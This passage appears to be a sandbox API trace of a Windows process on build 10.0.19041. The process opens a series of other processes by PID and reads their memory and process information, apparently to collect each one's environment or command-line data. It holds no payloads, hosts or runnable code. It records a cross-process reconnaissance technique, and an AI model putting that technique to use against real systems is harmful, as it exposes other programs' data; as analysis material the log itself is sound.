lpBaseAddress=0x224018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.667] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.667] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e27b0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.668] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e2358, lpBuffer=0x104c5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.668] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.668] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.668] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x224020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.668] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e1d10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.668] malloc (_Size=0xbc) returned 0xec9480 [0192.668] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0192.669] free (_Block=0xec9480) [0192.669] CloseHandle (hObject=0x414) returned 1 [0192.669] _ui64tow_s (in: _Value=0x5e0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1504") returned 0x0 [0192.670] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1504") returned 4 [0192.670] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.670] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.671] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x0 [0192.671] CloseHandle (hObject=0x0) returned 0 [0192.671] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0192.671] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2040") returned 4 [0192.672] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.672] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.672] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0x414 [0192.672] GetLastError () returned 0x0 [0192.672] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.673] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x356018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.673] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.673] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d40, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.673] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.673] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.673] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.673] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x356020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.674] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.674] malloc (_Size=0x62) returned 0xeb6700 [0192.674] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xeb6700, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0192.674] free (_Block=0xeb6700) [0192.674] CloseHandle (hObject=0x414) returned 1 [0192.675] _ui64tow_s (in: _Value=0x1048, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0192.675] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4168") returned 4 [0192.675] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.675] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0x414 [0192.676] GetLastError () returned 0x0 [0192.676] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.676] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x24c018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.676] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.676] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x462690, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.676] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x462258, lpBuffer=0x104c5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.677] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.677] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.677] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x24c020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.677] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x461c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.677] malloc (_Size=0x84) returned 0xe88090 [0192.677] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4622d4, lpBuffer=0xe88090, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88090*, lpNumberOfBytesRead=0x0) returned 1 [0192.678] free (_Block=0xe88090) [0192.678] CloseHandle (hObject=0x414) returned 1 [0192.678] _ui64tow_s (in: _Value=0x1050, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0192.678] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4176") returned 4 [0192.679] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.679] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.679] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x414 [0192.679] GetLastError () returned 0x0 [0192.680] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.680] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x322018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.680] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.680] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.680] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2258, lpBuffer=0x104c5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.680] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.681] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.681] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x322020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.681] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.681] malloc (_Size=0x6a) returned 0xea95a0 [0192.681] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a22ba, lpBuffer=0xea95a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.681] free (_Block=0xea95a0) [0192.681] CloseHandle (hObject=0x414) returned 1 [0192.682] _ui64tow_s (in: _Value=0x105c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0192.682] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4188") returned 4 [0192.682] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.682] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.683] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0x414 [0192.683] GetLastError () returned 0x0 [0192.683] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.683] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x22d018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.683] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.684] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e26b0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.684] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e2258, lpBuffer=0x104c5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.684] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.684] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.684] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x22d020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.684] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.685] malloc (_Size=0x8e) returned 0xec7d40 [0192.685] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e22de, lpBuffer=0xec7d40, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7d40*, lpNumberOfBytesRead=0x0) returned 1 [0192.685] free (_Block=0xec7d40) [0192.687] CloseHandle (hObject=0x414) returned 1 [0192.688] _ui64tow_s (in: _Value=0x1068, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0192.688] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4200") returned 4 [0192.688] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.688] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.689] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0x414 [0192.689] GetLastError () returned 0x0 [0192.689] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.689] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ab018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.689] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.689] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f2640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.690] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f2258, lpBuffer=0x104c5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.690] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.690] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.690] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ab020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.690] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.690] malloc (_Size=0x66) returned 0xeb65b0 [0192.690] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f22b6, lpBuffer=0xeb65b0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0192.691] free (_Block=0xeb65b0) [0192.691] CloseHandle (hObject=0x414) returned 1 [0192.727] _ui64tow_s (in: _Value=0x1080, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0192.727] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4224") returned 4 [0192.728] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.728] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.728] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0x414 [0192.729] GetLastError () returned 0x0 [0192.729] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.729] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x34f018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.729] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.729] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e26f0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.729] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e2258, lpBuffer=0x104c5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.729] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.730] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.730] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x34f020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.730] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.730] malloc (_Size=0xa2) returned 0xe96600 [0192.730] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e22f2, lpBuffer=0xe96600, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96600*, lpNumberOfBytesRead=0x0) returned 1 [0192.731] free (_Block=0xe96600) [0192.731] CloseHandle (hObject=0x414) returned 1 [0192.731] _ui64tow_s (in: _Value=0x1088, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0192.731] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4232") returned 4 [0192.731] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.731] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.733] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0x414 [0192.733] GetLastError () returned 0x0 [0192.733] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.733] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4b6018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.733] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.733] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7d2640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.733] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7d2258, lpBuffer=0x104c5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.734] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.734] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.734] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4b6020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.734] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.734] malloc (_Size=0x6a) returned 0xea9320 [0192.734] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7d22ba, lpBuffer=0xea9320, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0192.735] free (_Block=0xea9320) [0192.735] CloseHandle (hObject=0x414) returned 1 [0192.735] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0192.735] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4316") returned 4 [0192.735] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.735] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0x414 [0192.736] GetLastError () returned 0x0 [0192.736] NtQueryInformationProcess 